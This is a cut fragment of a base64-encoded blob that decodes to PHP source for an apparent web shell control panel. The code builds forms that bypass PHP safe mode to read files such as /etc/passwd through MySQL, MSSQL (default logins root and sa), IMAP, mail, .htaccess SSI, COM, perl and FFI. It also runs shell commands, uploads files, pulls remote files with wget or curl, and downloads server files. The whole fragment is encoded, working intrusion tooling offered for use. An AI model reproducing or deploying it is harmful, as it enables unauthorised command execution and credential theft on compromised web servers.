3VybF9vbikNCnsNCmVjaG8gJGZzLiR0YWJsZV91cDEuZGl2X3RpdGxlKCRsYW5nWyRsYW5ndWFnZS4nX3RleHQzMyddLCdpZDEwJykuJHRhYmxlX3VwMi5kaXYoJ2lkMTAnKS4kdHM7DQplY2hvIHNyKDE1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQzMCddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCd0ZXN0MV9maWxlJyw4NSwoIWVtcHR5KCRfUE9TVFsndGVzdDFfZmlsZSddKT8oJF9QT1NUWyd0ZXN0MV9maWxlJ10pOigiL2V0Yy9wYXNzd2QiKSkpLmluKCdoaWRkZW4nLCdkaXInLDAsJGRpcikuaW4oJ2hpZGRlbicsJ2NtZCcsMCwndGVzdDEnKS53cyg0KS5pbignc3VibWl0Jywnc3VibWl0JywwLCRsYW5nWyRsYW5ndWFnZS4nX2J1dHQ4J10pKTsNCmVjaG8gJHRlLic8L2Rpdj4nLiR0YWJsZV9lbmQxLiRmZTsNCn0NCmlmKCRzYWZlX21vZGUpDQp7DQplY2hvICRmcy4kdGFibGVfdXAxLmRpdl90aXRsZSgkbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MzQnXSwnaWQxMScpLiR0YWJsZV91cDIuZGl2KCdpZDExJykuJHRzOw0KZWNobyAiPHRhYmxlIGNsYXNzPXRhYmxlMSB3aWR0aD0xMDAlIGFsaWduPWNlbnRlcj4iOw0KZWNobyBzcigxNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MzAnXS4kYXJyb3cuIjwvYj4iLGluKCd0ZXh0JywndGVzdDJfZmlsZScsODUsKCFlbXB0eSgkX1BPU1RbJ3Rlc3QyX2ZpbGUnXSk/KCRfUE9TVFsndGVzdDJfZmlsZSddKTooIi9ldGMvcGFzc3dkIikpKS5pbignaGlkZGVuJywnZGlyJywwLCRkaXIpLmluKCdoaWRkZW4nLCdjbWQnLDAsJ3Rlc3QyJykud3MoNCkuaW4oJ3N1Ym1pdCcsJ3N1Ym1pdCcsMCwkbGFuZ1skbGFuZ3VhZ2UuJ19idXR0OCddKSk7DQplY2hvICR0ZS4nPC9kaXY+Jy4kdGFibGVfZW5kMS4kZmU7DQp9DQppZigkc2FmZV9tb2RlJiYkbXlzcWxfb24pDQp7DQplY2hvICRmcy4kdGFibGVfdXAxLmRpdl90aXRsZSgkbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MzUnXSwnaWQxMicpLiR0YWJsZV91cDIuZGl2KCdpZDEyJykuJHRzOw0KZWNobyBzcigxNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MzYnXS4kYXJyb3cuIjwvYj4iLGluKCd0ZXh0JywndGVzdDNfbWQnLDE1LCghZW1wdHkoJF9QT1NUWyd0ZXN0M19tZCddKT8oJF9QT1NUWyd0ZXN0M19tZCddKTooIm15c3FsIikpKS53cyg0KS4iPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MzcnXS4kYXJyb3cuIjwvYj4iLmluKCd0ZXh0JywndGVzdDNfbWwnLDE1LCghZW1wdHkoJF9QT1NUWyd0ZXN0M19tbCddKT8oJF9QT1NUWyd0ZXN0M19tbCddKTooInJvb3QiKSkpLndzKDQpLiI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQzOCddLiRhcnJvdy4iPC9iPiIuaW4oJ3RleHQnLCd0ZXN0M19tcCcsMTUsKCFlbXB0eSgkX1BPU1RbJ3Rlc3QzX21wJ10pPygkX1BPU1RbJ3Rlc3QzX21wJ10pOigicGFzc3dvcmQiKSkpLndzKDQpLiI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQxNCddLiRhcnJvdy4iPC9iPiIuaW4oJ3RleHQnLCd0ZXN0M19wb3J0JywxNSwoIWVtcHR5KCRfUE9TVFsndGVzdDNfcG9ydCddKT8oJF9QT1NUWyd0ZXN0M19wb3J0J10pOigiMzMwNiIpKSkpOw0KZWNobyBzcigxNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MzAnXS4kYXJyb3cuIjwvYj4iLGluKCd0ZXh0JywndGVzdDNfZmlsZScsOTYsKCFlbXB0eSgkX1BPU1RbJ3Rlc3QzX2ZpbGUnXSk/KCRfUE9TVFsndGVzdDNfZmlsZSddKTooIi9ldGMvcGFzc3dkIikpKS5pbignaGlkZGVuJywnZGlyJywwLCRkaXIpLmluKCdoaWRkZW4nLCdjbWQnLDAsJ3Rlc3QzJykud3MoNCkuaW4oJ3N1Ym1pdCcsJ3N1Ym1pdCcsMCwkbGFuZ1skbGFuZ3VhZ2UuJ19idXR0OCddKSk7DQplY2hvICR0ZS4nPC9kaXY+Jy4kdGFibGVfZW5kMS4kZmU7DQp9DQppZigkc2FmZV9tb2RlJiYkbXNzcWxfb24pDQp7DQplY2hvICRmcy4kdGFibGVfdXAxLmRpdl90aXRsZSgkbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0ODUnXSwnaWQxMycpLiR0YWJsZV91cDIuZGl2KCdpZDEzJykuJHRzOw0KZWNobyBzcigxNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MzYnXS4kYXJyb3cuIjwvYj4iLGluKCd0ZXh0JywndGVzdDRfbWQnLDE1LCghZW1wdHkoJF9QT1NUWyd0ZXN0NF9tZCddKT8oJF9QT1NUWyd0ZXN0NF9tZCddKTooIm1hc3RlciIpKSkud3MoNCkuIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDM3J10uJGFycm93LiI8L2I+Ii5pbigndGV4dCcsJ3Rlc3Q0X21sJywxNSwoIWVtcHR5KCRfUE9TVFsndGVzdDRfbWwnXSk/KCRfUE9TVFsndGVzdDRfbWwnXSk6KCJzYSIpKSkud3MoNCkuIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDM4J10uJGFycm93LiI8L2I+Ii5pbigndGV4dCcsJ3Rlc3Q0X21wJywxNSwoIWVtcHR5KCRfUE9TVFsndGVzdDRfbXAnXSk/KCRfUE9TVFsndGVzdDRfbXAnXSk6KCJwYXNzd29yZCIpKSkud3MoNCkuIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDE0J10uJGFycm93LiI8L2I+Ii5pbigndGV4dCcsJ3Rlc3Q0X3BvcnQnLDE1LCghZW1wdHkoJF9QT1NUWyd0ZXN0NF9wb3J0J10pPygkX1BPU1RbJ3Rlc3Q0X3BvcnQnXSk6KCIxNDMzIikpKSk7DQplY2hvIHNyKDE1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQzJ10uJGFycm93LiI8L2I+IixpbigndGV4dCcsJ3Rlc3Q0X2ZpbGUnLDk2LCghZW1wdHkoJF9QT1NUWyd0ZXN0NF9maWxlJ10pPygkX1BPU1RbJ3Rlc3Q0X2ZpbGUnXSk6KCJkaXIiKSkpLmluKCdoaWRkZW4nLCdkaXInLDAsJGRpcikuaW4oJ2hpZGRlbicsJ2NtZCcsMCwndGVzdDQnKS53cyg0KS5pbignc3VibWl0Jywnc3VibWl0JywwLCRsYW5nWyRsYW5ndWFnZS4nX2J1dHQ4J10pKTsNCmVjaG8gJHRlLic8L2Rpdj4nLiR0YWJsZV9lbmQxLiRmZTsNCn0NCmlmKCRzYWZlX21vZGUmJiR1bml4JiZmdW5jdGlvbl9leGlzdHMoJ21iX3NlbmRfbWFpbCcpKXsNCmVjaG8gJGZzLiR0YWJsZV91cDEuZGl2X3RpdGxlKCRsYW5nWyRsYW5ndWFnZS4nX3RleHQxMTInXSwnaWQyMicpLiR0YWJsZV91cDIuZGl2KCdpZDIyJykuJHRzOw0KZWNobyBzcigxNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MzAnXS4kYXJyb3cuIjwvYj4iLGluKCd0ZXh0JywndGVzdDVfZmlsZScsOTYsKCFlbXB0eSgkX1BPU1RbJ3Rlc3Q1X2ZpbGUnXSk/KCRfUE9TVFsndGVzdDVfZmlsZSddKTooIi9ldGMvcGFzc3dkIikpKS5pbignaGlkZGVuJywnZGlyJywwLCRkaXIpLmluKCdoaWRkZW4nLCdjbWQnLDAsJ3Rlc3Q1Jykud3MoNCkuaW4oJ3N1Ym1pdCcsJ3N1Ym1pdCcsMCwkbGFuZ1skbGFuZ3VhZ2UuJ19idXR0OCddKSk7DQplY2hvICR0ZS4nPC9kaXY+Jy4kdGFibGVfZW5kMS4kZmU7DQp9DQppZigkc2FmZV9tb2RlJiZmdW5jdGlvbl9leGlzdHMoJ2ltYXBfbGlzdCcpKXsNCmVjaG8gJGZzLiR0YWJsZV91cDEuZGl2X3RpdGxlKCRsYW5nWyRsYW5ndWFnZS4nX3RleHQxMTMnXSwnaWQyMycpLiR0YWJsZV91cDIuZGl2KCdpZDIzJykuJHRzOw0KZWNobyBzcigxNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0NCddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCd0ZXN0Nl9maWxlJyw5NiwoIWVtcHR5KCRfUE9TVFsndGVzdDZfZmlsZSddKT8oJF9QT1NUWyd0ZXN0Nl9maWxlJ10pOigkZGlyKSkpLmluKCdoaWRkZW4nLCdkaXInLDAsJGRpcikuaW4oJ2hpZGRlbicsJ2NtZCcsMCwndGVzdDYnKS53cyg0KS5pbignc3VibWl0Jywnc3VibWl0JywwLCRsYW5nWyRsYW5ndWFnZS4nX2J1dHQ4J10pKTsNCmVjaG8gJHRlLic8L2Rpdj4nLiR0YWJsZV9lbmQxLiRmZTsNCn0NCmlmKCRzYWZlX21vZGUmJmZ1bmN0aW9uX2V4aXN0cygnaW1hcF9ib2R5Jykpew0KZWNobyAkZnMuJHRhYmxlX3VwMS5kaXZfdGl0bGUoJGxhbmdbJGxhbmd1YWdlLidfdGV4dDExNCddLCdpZDI0JykuJHRhYmxlX3VwMi5kaXYoJ2lkMjQnKS4kdHM7DQplY2hvIHNyKDE1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQzMCddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCd0ZXN0N19maWxlJyw5NiwoIWVtcHR5KCRfUE9TVFsndGVzdDdfZmlsZSddKT8oJF9QT1NUWyd0ZXN0N19maWxlJ10pOigiL2V0Yy9wYXNzd2QiKSkpLmluKCdoaWRkZW4nLCdkaXInLDAsJGRpcikuaW4oJ2hpZGRlbicsJ2NtZCcsMCwndGVzdDcnKS53cyg0KS5pbignc3VibWl0Jywnc3VibWl0JywwLCRsYW5nWyRsYW5ndWFnZS4nX2J1dHQ4J10pKTsNCmVjaG8gJHRlLic8L2Rpdj4nLiR0YWJsZV9lbmQxLiRmZTsNCn0NCmlmKCRzYWZlX21vZGUpDQp7DQplY2hvICRmcy4kdGFibGVfdXAxLmRpdl90aXRsZSgkbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MTE1J10sJ2lkMjUnKS4kdGFibGVfdXAyLmRpdignaWQyNScpLiR0czsNCmVjaG8gc3IoMTUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDExNiddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCd0ZXN0OF9maWxlMScsOTYsKCFlbXB0eSgkX1BPU1RbJ3Rlc3Q4X2ZpbGUxJ10pPygkX1BPU1RbJ3Rlc3Q4X2ZpbGUxJ10pOigiL2V0Yy9wYXNzd2QiKSkpLmluKCdoaWRkZW4nLCdkaXInLDAsJGRpcikuaW4oJ2hpZGRlbicsJ2NtZCcsMCwndGVzdDgnKSk7DQplY2hvIHNyKDE1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQxMTcnXS4kYXJyb3cuIjwvYj4iLGluKCd0ZXh0JywndGVzdDhfZmlsZTInLDk2LCghZW1wdHkoJF9QT1NUWyd0ZXN0OF9maWxlMiddKT8oJF9QT1NUWyd0ZXN0OF9maWxlMiddKTooJGRpcikpKS53cyg0KS5pbignc3VibWl0Jywnc3VibWl0JywwLCRsYW5nWyRsYW5ndWFnZS4nX2J1dHQ4J10pKTsNCmVjaG8gJHRlLic8L2Rpdj4nLiR0YWJsZV9lbmQxLiRmZTsgIA0KfQ0KaWYoJHNhZmVfbW9kZSAmJiBAc3Vic3RyKEBwaHBfc2FwaV9uYW1lKCksIDAsIDMpID09ICdjZ2knKQ0Kew0KZWNobyAkZnMuJHRhYmxlX3VwMS5kaXZfdGl0bGUoJGxhbmdbJGxhbmd1YWdlLidfdGV4dDEyMCddLCdpZDI2JykuJHRhYmxlX3VwMi5kaXYoJ2lkMjYnKS4kdHM7DQplY2hvIHNyKDAsJycsJzxkaXYgYWxpZ249ImNlbnRlciI+Jy5pbignaGlkZGVuJywnZGlyJywwLCRkaXIpLmluKCdoaWRkZW4nLCdjbWQnLDAsJ3Rlc3Q5JykuaW4oJ3N1Ym1pdCcsJ3N1Ym1pdCcsMCwkbGFuZ1skbGFuZ3VhZ2UuJ19idXR0OCddKS4nPC9kaXY+Jyk7DQplY2hvICR0ZS4nPC9kaXY+Jy4kdGFibGVfZW5kMS4kZmU7ICANCn0NCmlmKCRzYWZlX21vZGUpDQp7DQplY2hvICRmcy4kdGFibGVfdXAxLmRpdl90aXRsZSgkbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MTIyJ10sJ2lkMjcnKS4kdGFibGVfdXAyLmRpdignaWQyNycpLiR0czsNCmVjaG8gc3IoMTUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDEyNCddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCd0ZXN0MTBfZmlsZScsOTYsKCFlbXB0eSgkX1BPU1RbJ3Rlc3QxMF9maWxlJ10pPygkX1BPU1RbJ3Rlc3QxMF9maWxlJ10pOignLi4vLi4vZmlsZS5waHAnKSkpLmluKCdoaWRkZW4nLCdkaXInLDAsJGRpcikuaW4oJ2hpZGRlbicsJ2NtZCcsMCwndGVzdDEwJykpOw0KZWNobyBzcigxNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MTI1J10uJGFycm93LiI8L2I+IixpbigndGV4dCcsJ3Rlc3QxMF9jb250ZW50Jyw5NiwoIWVtcHR5KCRfUE9TVFsndGVzdDEwX2NvbnRlbnQnXSk/KCRfUE9TVFsndGVzdDEwX2NvbnRlbnQnXSk6KCc8PyBlY2hvIFwnZ290Y2hhXCc7ID8+JykpKS53cyg0KS5pbignc3VibWl0Jywnc3VibWl0JywwLCRsYW5nWyRsYW5ndWFnZS4nX2J1dHQ4J10pKTsNCmVjaG8gJHRlLic8L2Rpdj4nLiR0YWJsZV9lbmQxLiRmZTsgIA0KfQ0KLy8gaHRhY2Nlc3MgbWFpbC4NCmlmKCRzYWZlX21vZGUpDQp7DQplY2hvICRmcy4kdGFibGVfdXAxLmRpdl90aXRsZSgkbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MTIzJ10sJ2lkMjgnKS4kdGFibGVfdXAyLmRpdignaWQyOCcpLiR0czsNCmVjaG8gc3IoMTUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDMnXS4kYXJyb3cuIjwvYj4iLGluKCd0ZXh0JywndGVzdDExX2NtZCcsOTYsKCFlbXB0eSgkX1BPU1RbJ3Rlc3QxMV9jbWQnXSk/KCRfUE9TVFsndGVzdDExX2NtZCddKTooJ2xzIC1sYScpKSkud3MoNCkuaW4oJ2hpZGRlbicsJ2RpcicsMCwkZGlyKS5pbignaGlkZGVuJywnY21kJywwLCd0ZXN0MTEnKS5pbignc3VibWl0Jywnc3VibWl0JywwLCRsYW5nWyRsYW5ndWFnZS4nX2J1dHQ4J10pKTsNCmVjaG8gJHRlLic8L2Rpdj4nLiR0YWJsZV9lbmQxLiRmZTsgIA0KfQ0KLy8gaHRhY2Nlc3MgU1NJDQppZigkc2FmZV9tb2RlKQ0Kew0KZWNobyAkZnMuJHRhYmxlX3VwMS5kaXZfdGl0bGUoJGxhbmdbJGxhbmd1YWdlLidfdGV4dDEyNiddLCdpZDI5JykuJHRhYmxlX3VwMi5kaXYoJ2lkMjknKS4kdHM7DQplY2hvIHNyKDE1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQzJ10uJGFycm93LiI8L2I+IixpbigndGV4dCcsJ3Rlc3QxMl9jbWQnLDk2LCghZW1wdHkoJF9QT1NUWyd0ZXN0MTJfY21kJ10pPygkX1BPU1RbJ3Rlc3QxMl9jbWQnXSk6KCdscyAtbGEnKSkpLndzKDQpLmluKCdoaWRkZW4nLCdkaXInLDAsJGRpcikuaW4oJ2hpZGRlbicsJ2NtZCcsMCwndGVzdDEyJykuaW4oJ3N1Ym1pdCcsJ3N1Ym1pdCcsMCwkbGFuZ1skbGFuZ3VhZ2UuJ19idXR0OCddKSk7DQplY2hvICR0ZS4nPC9kaXY+Jy4kdGFibGVfZW5kMS4kZmU7ICANCn0NCi8vIENPTQ0KaWYoJHNhZmVfbW9kZSYmISR1bml4KQ0Kew0KZWNobyAkZnMuJHRhYmxlX3VwMS5kaXZfdGl0bGUoJGxhbmdbJGxhbmd1YWdlLidfdGV4dDEyNyddLCdpZDMwJykuJHRhYmxlX3VwMi5kaXYoJ2lkMzAnKS4kdHM7DQplY2hvIHNyKDE1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQzJ10uJGFycm93LiI8L2I+IixpbigndGV4dCcsJ3Rlc3QxM19jbWQnLDk2LCghZW1wdHkoJF9QT1NUWyd0ZXN0MTNfY21kJ10pPygkX1BPU1RbJ3Rlc3QxM19jbWQnXSk6KCdkaXInKSkpLndzKDQpLmluKCdoaWRkZW4nLCdkaXInLDAsJGRpcikuaW4oJ2hpZGRlbicsJ2NtZCcsMCwndGVzdDEzJykuaW4oJ3N1Ym1pdCcsJ3N1Ym1pdCcsMCwkbGFuZ1skbGFuZ3VhZ2UuJ19idXR0OCddKSk7DQplY2hvICR0ZS4nPC9kaXY+Jy4kdGFibGVfZW5kMS4kZmU7ICANCn0NCi8vIGlvbkN1YmUNCmlmKCRzYWZlX21vZGUmJmV4dGVuc2lvbl9sb2FkZWQoImlvbkN1YmUgTG9hZGVyIikpDQp7DQplY2hvICRmcy4kdGFibGVfdXAxLmRpdl90aXRsZSgkbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MTI4J10sJ2lkMzEnKS4kdGFibGVfdXAyLmRpdignaWQzMScpLiR0czsNCmVjaG8gc3IoMTUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDMwJ10uJGFycm93LiI8L2I+IixpbigndGV4dCcsJ3Rlc3QxNF9jbWQnLDk2LCghZW1wdHkoJF9QT1NUWyd0ZXN0MTRfY21kJ10pPygkX1BPU1RbJ3Rlc3QxNF9jbWQnXSk6KCcuLi8uLi9ib290LmluaScpKSkud3MoNCkuaW4oJ2hpZGRlbicsJ2RpcicsMCwkZGlyKS5pbignaGlkZGVuJywnY21kJywwLCd0ZXN0MTQnKS5pbignc3VibWl0Jywnc3VibWl0JywwLCRsYW5nWyRsYW5ndWFnZS4nX2J1dHQ4J10pKTsNCmVjaG8gJHRlLic8L2Rpdj4nLiR0YWJsZV9lbmQxLiRmZTsgIA0KfQ0KLy8gd2luMzJzdGQNCmlmKCRzYWZlX21vZGUmJiEkdW5peCYmZXh0ZW5zaW9uX2xvYWRlZCgid2luMzJzdGQiKSkNCnsNCmVjaG8gJGZzLiR0YWJsZV91cDEuZGl2X3RpdGxlKCRsYW5nWyRsYW5ndWFnZS4nX3RleHQxMjknXSwnaWQzMicpLiR0YWJsZV91cDIuZGl2KCdpZDMyJykuJHRzOw0KZWNobyBzcigxNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MyddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCd0ZXN0MTVfY21kJyw5NiwoIWVtcHR5KCRfUE9TVFsndGVzdDE1X2NtZCddKT8oJF9QT1NUWyd0ZXN0MTVfY21kJ10pOignZGlyJykpKS53cyg0KS5pbignaGlkZGVuJywnZGlyJywwLCRkaXIpLmluKCdoaWRkZW4nLCdjbWQnLDAsJ3Rlc3QxNScpLmluKCdzdWJtaXQnLCdzdWJtaXQnLDAsJGxhbmdbJGxhbmd1YWdlLidfYnV0dDgnXSkpOw0KZWNobyAkdGUuJzwvZGl2PicuJHRhYmxlX2VuZDEuJGZlOyAgDQp9DQovLyB3aW4zMnNlcnZpY2UNCmlmKCRzYWZlX21vZGUmJiEkdW5peCYmZXh0ZW5zaW9uX2xvYWRlZCgid2luMzJzZXJ2aWNlIikpDQp7DQplY2hvICRmcy4kdGFibGVfdXAxLmRpdl90aXRsZSgkbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MTMwJ10sJ2lkMzMnKS4kdGFibGVfdXAyLmRpdignaWQzMycpLiR0czsNCmVjaG8gc3IoMTUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDMnXS4kYXJyb3cuIjwvYj4iLGluKCd0ZXh0JywndGVzdDE2X2NtZCcsOTYsKCFlbXB0eSgkX1BPU1RbJ3Rlc3QxNl9jbWQnXSk/KCRfUE9TVFsndGVzdDE2X2NtZCddKTooJ2RpcicpKSkud3MoNCkuaW4oJ2hpZGRlbicsJ2RpcicsMCwkZGlyKS5pbignaGlkZGVuJywnY21kJywwLCd0ZXN0MTYnKS5pbignc3VibWl0Jywnc3VibWl0JywwLCRsYW5nWyRsYW5ndWFnZS4nX2J1dHQ4J10pKTsNCmVjaG8gJHRlLic8L2Rpdj4nLiR0YWJsZV9lbmQxLiRmZTsgIA0KfQ0KLy8gcGVybA0KaWYoJHNhZmVfbW9kZSYmZXh0ZW5zaW9uX2xvYWRlZCgicGVybCIpKQ0Kew0KZWNobyAkZnMuJHRhYmxlX3VwMS5kaXZfdGl0bGUoJGxhbmdbJGxhbmd1YWdlLidfdGV4dDEzMSddLCdpZDM0JykuJHRhYmxlX3VwMi5kaXYoJ2lkMzQnKS4kdHM7DQplY2hvIHNyKDE1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQzJ10uJGFycm93LiI8L2I+IixpbigndGV4dCcsJ3Rlc3QxN19jbWQnLDk2LCghZW1wdHkoJF9QT1NUWyd0ZXN0MTdfY21kJ10pPygkX1BPU1RbJ3Rlc3QxN19jbWQnXSk6KCdkaXInKSkpLndzKDQpLmluKCdoaWRkZW4nLCdkaXInLDAsJGRpcikuaW4oJ2hpZGRlbicsJ2NtZCcsMCwndGVzdDE3JykuaW4oJ3N1Ym1pdCcsJ3N1Ym1pdCcsMCwkbGFuZ1skbGFuZ3VhZ2UuJ19idXR0OCddKSk7DQplY2hvICR0ZS4nPC9kaXY+Jy4kdGFibGVfZW5kMS4kZmU7ICANCn0NCi8vIEZGSQ0KaWYoJHNhZmVfbW9kZSYmISR1bml4JiZleHRlbnNpb25fbG9hZGVkKCJmZmkiKSkNCnsNCmVjaG8gJGZzLiR0YWJsZV91cDEuZGl2X3RpdGxlKCRsYW5nWyRsYW5ndWFnZS4nX3RleHQxMzInXSwnaWQzNScpLiR0YWJsZV91cDIuZGl2KCdpZDM1JykuJHRzOw0KZWNobyBzcigxNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MyddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCd0ZXN0MThfY21kJyw5NiwoIWVtcHR5KCRfUE9TVFsndGVzdDE4X2NtZCddKT8oJF9QT1NUWyd0ZXN0MThfY21kJ10pOignZGlyJykpKS53cyg0KS5pbignaGlkZGVuJywnZGlyJywwLCRkaXIpLmluKCdoaWRkZW4nLCdjbWQnLDAsJ3Rlc3QxOCcpLmluKCdzdWJtaXQnLCdzdWJtaXQnLDAsJGxhbmdbJGxhbmd1YWdlLidfYnV0dDgnXSkpOw0KZWNobyAkdGUuJzwvZGl2PicuJHRhYmxlX2VuZDEuJGZlOyAgDQp9DQppZihAaW5pX2dldCgnZmlsZV91cGxvYWRzJykpew0KZWNobyAiPGZvcm0gbmFtZT11cGxvYWQgbWV0aG9kPVBPU1QgRU5DVFlQRT1tdWx0aXBhcnQvZm9ybS1kYXRhPiI7DQplY2hvICR0YWJsZV91cDEuZGl2X3RpdGxlKCRsYW5nWyRsYW5ndWFnZS4nX3RleHQ1J10sJ2lkMTQnKS4kdGFibGVfdXAyLmRpdignaWQxNCcpLiR0czsNCmVjaG8gc3IoMTUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDYnXS4kYXJyb3cuIjwvYj4iLGluKCdmaWxlJywndXNlcmZpbGUnLDg1LCcnKSk7DQplY2hvIHNyKDE1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQyMSddLiRhcnJvdy4iPC9iPiIsaW4oJ2NoZWNrYm94JywnbmYxIGlkPW5mMScsMCwnMScpLmluKCd0ZXh0JywnbmV3X25hbWUnLDgyLCcnKS5pbignaGlkZGVuJywnZGlyJywwLCRkaXIpLndzKDQpLmluKCdzdWJtaXQnLCdzdWJtaXQnLDAsJGxhbmdbJGxhbmd1YWdlLidfYnV0dDInXSkpOw0KZWNobyAkdGUuJzwvZGl2PicuJHRhYmxlX2VuZDEuJGZlOw0KfQ0KaWYoISRzYWZlX21vZGUmJiR1bml4KXsNCmVjaG8gJGZzLiR0YWJsZV91cDEuZGl2X3RpdGxlKCRsYW5nWyRsYW5ndWFnZS4nX3RleHQxNSddLCdpZDE1JykuJHRhYmxlX3VwMi5kaXYoJ2lkMTUnKS4kdHM7DQplY2hvIHNyKDE1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQxNiddLiRhcnJvdy4iPC9iPiIsIjxzZWxlY3Qgc2l6ZT1cIjFcIiBuYW1lPVwid2l0aFwiPjxvcHRpb24gdmFsdWU9XCJ3Z2V0XCI+d2dldDwvb3B0aW9uPjxvcHRpb24gdmFsdWU9XCJmZXRjaFwiPmZldGNoPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT1cImx5bnhcIj5seW54PC9vcHRpb24+PG9wdGlvbiB2YWx1ZT1cImxpbmtzXCI+bGlua3M8L29wdGlvbj48b3B0aW9uIHZhbHVlPVwiY3VybFwiPmN1cmw8L29wdGlvbj48b3B0aW9uIHZhbHVlPVwiR0VUXCI+R0VUPC9vcHRpb24+PC9zZWxlY3Q+Ii5pbignaGlkZGVuJywnZGlyJywwLCRkaXIpLndzKDIpLiI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQxNyddLiRhcnJvdy4iPC9iPiIuaW4oJ3RleHQnLCdyZW1fZmlsZScsNzgsJ2h0dHA6Ly8nKSk7DQplY2hvIHNyKDE1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQxOCddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCdsb2NfZmlsZScsMTA1LCRkaXIpLndzKDQpLmluKCdzdWJtaXQnLCdzdWJtaXQnLDAsJGxhbmdbJGxhbmd1YWdlLidfYnV0dDInXSkpOw0KZWNobyAkdGUuJzwvZGl2PicuJHRhYmxlX2VuZDEuJGZlOw0KfQ0KZWNobyAkZnMuJHRhYmxlX3VwMS5kaXZfdGl0bGUoJGxhbmdbJGxhbmd1YWdlLidfdGV4dDg2J10sJ2lkMTYnKS4kdGFibGVfdXAyLmRpdignaWQxNicpLiR0czsNCmVjaG8gc3IoMTUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDU5J10uJGFycm93LiI8L2I+IixpbigndGV4dCcsJ2RfbmFtZScsODUsJGRpcikuaW4oJ2hpZGRlbicsJ2NtZCcsMCwnZG93bmxvYWRfZmlsZScpLmluKCdoaWRkZW4nLCdkaXInLDAsJGRpcikud3MoNCkuaW4oJ3N1Ym1pdCcsJ3N1Ym1pdCcsMCwkbGFuZ1skbGFuZ3VhZ2UuJ19idXR0MTQnXSkpOw0KJGFyaCA9ICRsYW5nWyRsYW5ndWFnZS4nX3RleHQ5MiddOw0KaWYoQGZ1bmN0aW9uX2V4aXN0cygnZ3pjb21wcmVzcycpKSB7ICRhcmggLj0gaW4oJ3JhZGlvJywnY29tcHJlc3MnLDAsJ3ppcCcpLicgemlwJzsgICB9DQppZihAZnVuY3Rpb25fZXhpc3RzKCdnemVuY29kZScpKSAgIHsgJGFyaCAuPSBpbigncmFkaW8nLCdjb21wcmVzcycsMCwnZ3ppcCcpLicgZ3ppcCc7IH0NCmlmKEBmdW5jdGlvbl9leGlzdHMoJ2J6Y29tcHJlc3MnKSkgeyAkYXJoIC49IGluKCdyYWRpbycsJ2NvbXByZXNzJywwLCdiemlwJykuJyBiemlwJzsgfQ0KZWNobyBzcigxNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0OTEnXS4kYXJyb3cuIjwvYj4iLGluKCdyYWRpbycsJ2NvbXByZXNzJywwLCdub25lJywxKS4nICcuJGFyaCk7DQplY2hvICR0ZS4nPC9kaXY+Jy4kdGFibGVfZW5kMS4kZmU7DQppZihAZnVuY3Rpb25fZXhpc3RzKCJmdHBfY29ubmVjdCIpKXsNCmVjaG8gJHRhYmxlX3VwMS5kaXZfdGl0bGUoJGxhbmdbJGxhbmd1YWdlLidfdGV4dDkzJ10sJ2lkMTcnKS4kdGFibGVfdXAyLmRpdignaWQxNycpLiR0cy4iPHRyPiIuJGZzLiI8dGQgdmFsaWduPXRvcCB3aWR0aD01MCU+Ii4kdHM7DQplY2hvICI8Zm9udCBmYWNlPVZlcmRhbmEgc2l6ZT